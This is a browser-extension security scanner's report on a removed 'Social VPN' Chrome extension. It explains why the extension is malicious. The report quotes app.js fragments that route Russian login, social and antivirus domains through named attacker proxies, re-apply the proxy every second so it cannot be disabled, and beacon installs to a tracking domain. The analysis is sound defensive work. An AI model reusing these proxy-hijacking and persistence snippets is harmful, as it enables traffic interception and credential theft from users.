Social VPN

ID: igahhbkcppaollcjeaaoapkijbnphfhb

Could be malicious

Supported Languages

🇺🇸English
🇷🇺Russian

Extension Info & Metadata

Status
Removed
Version
2.0.2
Size
0.02 MB
Rating
3.0/5
Reviews
55
Users
8,000
Type
Extension
Updated
Jan 30, 2026
Category
Productivity Workflow
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
ExtToolsView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
1
Unlisted
1
Total Users
18,000

Бесперебойный доступ к Вашим любимым сайтам

🔒 Uninterrupted access to your favorite websites and services. Simple. Reliable. Works everywhere. 🚫 Social networks or services blocked? No worries — VPN will fix that. ✅ Features: Access any website without restrictions Free communication and music Stable internet without blocks 🎵 Stay connected with friends, watch videos, listen to music, and read the news anytime. ⚡ Advantages: High-speed connection One-click setup Always stable access Try VPN today and forget about restrictions!

Item
Type
Severity
Description
proxy
Permission
Critical
This permission allows the extension to control the browser's proxy settings. Rated Critical because it can route all traffic through potentially malicious proxies, enabling man-in-the-middle attacks and traffic monitoring.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

PAC script selectively routes traffic for specific high-value Russian services (Yandex, Mail.ru, VK, Odnoklassniki) through attacker-controlled proxies (tronwertfrort5.me, hostprojects.org, aaacdn.net, cdn-prime.net, frpxa.com, brwpks.com, pksfr.com, brwpx.com and bare IPs 213.196.52.x). A legitimate VPN routes all user traffic uniformly; this cherry-picked targeting of login/email/social domains via suspicious throwaway domains is a classic adversary-in-the-middle credential harvesting/traffic interception pattern.

app.js (Line 20)
const groups = [{      "domainMasks": ["webvisor.org", ...yandex domains...],      "bypassDomainMasks": [],      "proxyStrings": ["HTTPS tronwertfrort5.me:443", "HTTPS storage.hostprojects.org:443", "HTTPS cdn.aaacdn.net:443", "HTTPS assets.cdn-prime.net:443", "PROXY 213.196.52.20:18090", "PROXY 213.196.52.28:18090", "PROXY 213.196.55.204:18090"]    }, {      "domainMasks": ["allods.com", ...mail.ru / icq / my.com domains...],      "bypassDomainMasks": [],      "proxyStrings": ["HTTPS frpxa.com:443", "HTTPS brwpks.com:443", "HTTPS pksfr.com:443", "HTTPS brwpx.com:443", "PROXY 213.196.52.20:18090", ...]    }

The PAC script explicitly targets antivirus vendor domains (Dr.Web: drweb.com/drweb.ru/av-desk.com/freedrweb.com, and Kaspersky: kaspersky.com/securelist.com/viruslist.ru/threatpost.com) and routes them through attacker-controlled proxies. This enables blocking AV signature updates, poisoning threat intelligence feeds, or MITM-ing connections from users trying to research/remove the malware itself. This is characteristic of banking-trojan/infostealer ecosystems, not VPN services.

app.js (Line 28)
}, {  "domainMasks": ["drw.sh", "*.drw.sh", "drweb.com", "*.drweb.com", "drweb.ru", "*.drweb.ru", ...Dr.Web AV domains...],  "bypassDomainMasks": [],  "proxyStrings": ["HTTPS tronwertfrort5.me:443", "HTTPS storage.hostprojects.org:443", "HTTPS cdn.aaacdn.net:443", "HTTPS assets.cdn-prime.net:443", "PROXY 213.196.52.20:18090", "PROXY 213.196.52.28:18090", "PROXY 213.196.55.204:18090"]}, {  "domainMasks": ["kaspersky.com", "*.kaspersky.com", "kaspersky.ru", "*.kaspersky.ru", "securelist.com", "*.securelist.com", "viruslist.ru", "*.viruslist.ru", "threatpost.com", "*.threatpost.com", ...],  "bypassDomainMasks": [],  "proxyStrings": ["HTTPS tronwertfrort5.me:443", "HTTPS storage.hostprojects.org:443", "HTTPS cdn.aaacdn.net:443", "HTTPS assets.cdn-prime.net:443", "PROXY 213.196.52.20:18090", "PROXY 213.196.52.28:18090", "PROXY 213.196.55.204:18090"]}

The extension re-applies the proxy configuration every 1 second (setInterval 1000ms), and on any proxy error it spawns ANOTHER 1-second re-apply interval (never cleared, so intervals compound). This aggressive persistence prevents the user or any other tool from disabling/overriding the malicious proxy settings, and is inconsistent with any legitimate VPN UX.

app.js (Line 115)
setInterval(function() {  App.enableProxy()}, 1e3);chrome.action.onClicked.addListener(App.browserActionClicked);chrome.proxy.onProxyError.addListener(function() {  setInterval(function() {    App.enableProxy()  }, 1e3);});

A listener on new-tab creation rewrites navigations to vk.com. Combined with the PAC script routing vk.com through attacker-controlled HTTPS proxies, the extension is engineering forced traffic flows through those proxies. The undefined `id` variable suggests this code is buggy/obfuscated, but the intent to hook and redirect navigation to a credential-bearing site is clear.

app.js (Line 109)
chrome.tabs.onCreated.addListener(function(a) {  'http://vk.com' === a.url && chrome.tabs.update(id, {    url: 'https://vk.com'  });});

On install and uninstall the extension beacons to addonup.com with UTM tracking parameters identifying the extension and lifecycle event. This enables attacker-side victim telemetry (install counts, uninstall churn) and attribution of the monetization/affiliate flow driving the malware distribution.

app.js (Line 126)
chrome.runtime.onInstalled.addListener(function(details) {  chrome.tabs.create({    url: 'https://addonup.com/?utm_source=ext&utm_medium=install&utm_campaign=svpn'  });  App.enableProxy();  chrome.storage.local.set({    config: config  });});chrome.runtime.setUninstallURL('https://addonup.com/?utm_source=ext&utm_medium=uninstall&utm_campaign=svpn')

Stores the extension ID and installation/activation timestamp in chrome.storage.local. While not exfiltrated directly in this version, it establishes victim-identification state that can be read by any future update pushed via the update_url. Combined with the proxy MITM capability, this is a staging primitive for persistent victim tracking.

app.js (Line 140)
var apps = new App(),  data = {    extensionId: chrome.runtime.id,    time: new Date()      .toLocaleString()  };chrome.storage.local.set({  data: data});

By severity

Critical2
High2
Medium1
Low1

Versions scanned

Showing 1 of 6 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.26

Files with findings

1 distinct path — top paths by unique finding count:

  • app.js6
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
app.js (line 20)PAC script selectively routes traffic for specific high-value Russian services (Yandex, Mail.ru, VK, Odnoklassniki) through attacker-controlled proxies (tronwertfrort5.me, hostprojects.org, aaacdn.net, cdn-prime.net, …
2Network Interception
critical
app.js (line 28)The PAC script explicitly targets antivirus vendor domains (Dr.Web: drweb.com/drweb.ru/av-desk.com/freedrweb.com, and Kaspersky: kaspersky.com/securelist.com/viruslist.ru/threatpost.com) and routes them through attack…
3Network Interception
high
app.js (line 109)A listener on new-tab creation rewrites navigations to vk.com. Combined with the PAC script routing vk.com through attacker-controlled HTTPS proxies, the extension is engineering forced traffic flows through those pro…
4Privilege Escalation
high
app.js (line 115)The extension re-applies the proxy configuration every 1 second (setInterval 1000ms), and on any proxy error it spawns ANOTHER 1-second re-apply interval (never cleared, so intervals compound). This aggressive persist…
5Tracking
medium
app.js (line 126)On install and uninstall the extension beacons to addonup.com with UTM tracking parameters identifying the extension and lifecycle event. This enables attacker-side victim telemetry (install counts, uninstall churn) a…
6Unauthorized Data Collection
low
app.js (line 140)Stores the extension ID and installation/activation timestamp in chrome.storage.local. While not exfiltrated directly in this version, it establishes victim-identification state that can be read by any future update p…
URLs
5
IPv4
3
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

vk.com-https://vk.com
vk.com-http://vk.com
addonup.com-https://addonup.com/?utm_source=ext&utm_medium=install&utm_campaign=svpn
addonup.com-https://addonup.com/?utm_source=ext&utm_medium=uninstall&utm_campaign=svpn
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

213.196.52.20
IPv4
-
213.196.52.28
IPv4
-
213.196.55.204
IPv4
-
Showing 1 to 6 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.